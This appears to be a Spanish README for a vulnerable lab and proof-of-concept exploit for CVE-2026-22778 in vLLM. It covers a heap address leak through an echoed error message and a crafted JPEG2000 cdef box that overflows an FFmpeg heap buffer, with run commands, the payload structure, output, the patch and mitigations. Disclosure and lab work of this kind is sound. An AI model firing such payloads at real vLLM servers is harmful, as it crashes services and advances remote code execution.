Prueba de concepto del exploit para CVE-2026-22778, una RCE no autenticada en el procesamiento de video de vLLM, que demuestra la divulgación de direcciones de heap y un desbordamiento de búfer en el heap en el decodificador JPEG2000 de FFmpeg. Incluye un laboratorio vulnerable para pruebas autorizadas.
Laboratorio vulnerable + prueba de concepto para CVE-2026-22778 (CVSS 9.8), una cadena de ejecución remota de código no autenticada en la ruta de ingesta multimodal de vLLM.
| CVE | CVE-2026-22778 |
| Aviso | GHSA-4r2x-xpjr-7cvv |
| Afectado | vLLM >= 0.8.3, < 0.14.1 (implementaciones que sirven modelos de vídeo) |
| Corregido en | vLLM 0.14.1 |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Bug subyacente | CVE-2025-9951 — desbordamiento de búfer en el montículo en el decodificador JPEG2000 de FFmpeg |
Dos fallos separados encadenados. Un vllm serve por defecto no tiene
autenticación, por lo que ambos son alcanzables sin autenticación en /v1/chat/completions y
/v1/invocations.
Cuando una imagen no se puede analizar, Pillow lanza una excepción cuyo mensaje incrusta
el repr() del objeto BytesIO del que estaba leyendo:
cannot identify image file <_io.BytesIO object at 0x7f4a9c2e1d50>
vLLM convertía los fallos de carga de medios en un HTTP 400 y devolvía
exc.detail al cliente sin modificar
(api_server.py):
async def http_exception_handler(_: Request, exc: HTTPException):
err = ErrorResponse(
error=ErrorInfo(
message=exc.detail, # <-- filtra la dirección textualmente
...
Esa única dirección reduce el ASLR del montículo de ~32 bits de entropía a aproximadamente 3, que es lo que hace que la etapa 2 sea explotable en lugar de ser solo un fallo.
Una video_url es obtenida por el servidor y entregada a OpenCV:
MediaConnector.load_from_url() vllm/multimodal/utils.py
-> OpenCVVideoBackend.load_bytes() vllm/multimodal/video.py
-> cv2.VideoCapture(BytesIO(data), backend, [])
-> FFmpeg 5.1.x (incluido en opencv-python-headless < 4.13)
vLLM fijó opencv-python-headless >= 4.11.0, que incluye FFmpeg 5.1.x. Su
decodificador JPEG2000 toma el plano de destino directamente de la caja
de definición de canal (cdef) del archivo — libavcodec/jpeg2000dec.c, write_frame_8:
if (planar)
plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...; /* del componente */
int h = tile->comp[compno].coord[1][1] - ...; /* ¡no del plano! */
plane está controlado por el atacante pero w/h provienen del componente que se está
decodificando, y nada comprueba que uno quepa en el otro. Una entrada cdef de
cn=0, asoc=2 envía el componente 0 — el plano de luminancia a resolución completa — al
plano 1, el plano de crominancia submuestreado 2×2.
Para el fotograma de 150×64 que usa esta PoC:
| tamaño | |
|---|---|
| Componente Y (escrito) | 150 × 64 = 9.600 bytes |
| Plano U (destino) | 75 × 32 = 2.400 bytes |
| Desbordamiento | 7.200 bytes más allá de la asignación |
FFmpeg asigna cada plano como su propio AVBuffer, por lo que el desbordamiento atraviesa
los fragmentos de montículo adyacentes — incluidos los structs AVBuffer que contienen un
puntero a función free. Combinado con la fuga de la etapa 1, sobrescribir ese
puntero es lo que convierte la corrupción en ejecución de código.
Esta PoC se detiene en la corrupción de memoria. Demuestra la escritura fuera de límites matando el proceso del servidor. El grooming del montículo y la sobrescritura del puntero a función deliberadamente no están implementados.
lab/app.py es una reimplementación mínima de la ruta de ingesta multimodal de
vLLM 0.13.0 — MediaConnector, ImageMediaIO, OpenCVVideoBackend y el
manejador de errores anterior al parche, cada uno anotado con el archivo upstream que refleja. El
runtime del modelo está simulado: la vulnerabilidad reside enteramente en la ingesta
de medios, que se ejecuta antes de la inferencia y no necesita GPU ni pesos de modelo.
Todo en la ruta de ataque es real — la misma llamada a Pillow que
filtra la dirección, y la misma llamada a cv2.VideoCapture hacia un
opencv-python-headless==4.11.0.86 sin parchear (FFmpeg 5.1.x, libavcodec 59.37.100).
docker compose up -d --build
python3 exploit.py
Opciones:
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve # entregar el payload por HTTP
python3 exploit.py --write-payload evil.jp2 # solo escribir el archivo malicioso
El exploit es solo biblioteca estándar pura — sin dependencias.
[*] Stage 1 -- heap address disclosure via PIL error message
HTTP 400
cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] Leaked heap address: 0xffff8f555300
ASLR bypassed: the heap base is now known to ~3 bits of entropy.
[*] Stage 2 -- heap buffer overflow in the JPEG2000 decoder
Target alive: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
Payload: 203 bytes, 150x64 yuv420p JP2
cdef maps component 0 -> plane 1: writes 9600 bytes into a 2400-byte plane (7200-byte overflow)
Request never completed: Remote end closed connection without response
Probing /health to see what happened to the worker...
[+] Worker was killed and restarted: boot_id 95b62f18-... -> 4494d28c-...
[+] Out-of-bounds write confirmed.
Y en el lado del servidor:
$ docker compose logs vllm
cve-2026-22778-lab | INFO: POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab | corrupted size vs. prev_size
cve-2026-22778-lab | INFO: Started server process [1]
Limpieza:
docker compose down
203 bytes, construido desde cero en build_payload(). Un contenedor JP2 que contiene un
codestream JPEG2000 mínimo que declara tres componentes con submuestreo 4:2:0
(para que FFmpeg asigne un fotograma yuv420p), más una caja cdef que
los reasigna:
cn=0, typ=0, asoc=2 <-- componente 0 (resolución completa) en el plano 1 (submuestreado)
cn=1, typ=0, asoc=2
cn=2, typ=0, asoc=3
Los datos de coeficientes están vacíos. El decodificador aún asigna el fotograma desde la
cabecera SIZ y aún ejecuta el bucle de escritura, por lo que no se necesitan datos de imagen reales.
vLLM 0.14.1, mediante tres PRs:
FFmpeg upstream ahora rechaza un mapa cdef que no sea una permutación de los
canales, y deriva el formato de píxeles de los índices reasignados:
int cdef_used = 0;
for (i = 0; i < s->ncomponents; i++)
cdef_used |= 1<<s->cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
return AVERROR_INVALIDDATA;
Cambiar la fijación del laboratorio a opencv-python-headless>=4.13.0 hace que el mismo
payload falle de forma inofensiva con error during processing marker segment ff51.
Si no puede actualizar: no sirva modelos de vídeo, ponga autenticación delante
de la API y restrinja la obtención de medios con --allowed-media-domains.
docker compose compile para la arquitectura nativa arm64
(la predeterminada). Forzar --platform linux/amd64 ejecuta el
contenedor bajo emulación, donde el proceso que aborta se cuelga en lugar de
salir y el fallo es más difícil de observar.Solo para educación y pruebas de seguridad autorizadas. Ejecútelo contra el laboratorio de este repositorio o sistemas para los que tenga permiso explícito de prueba.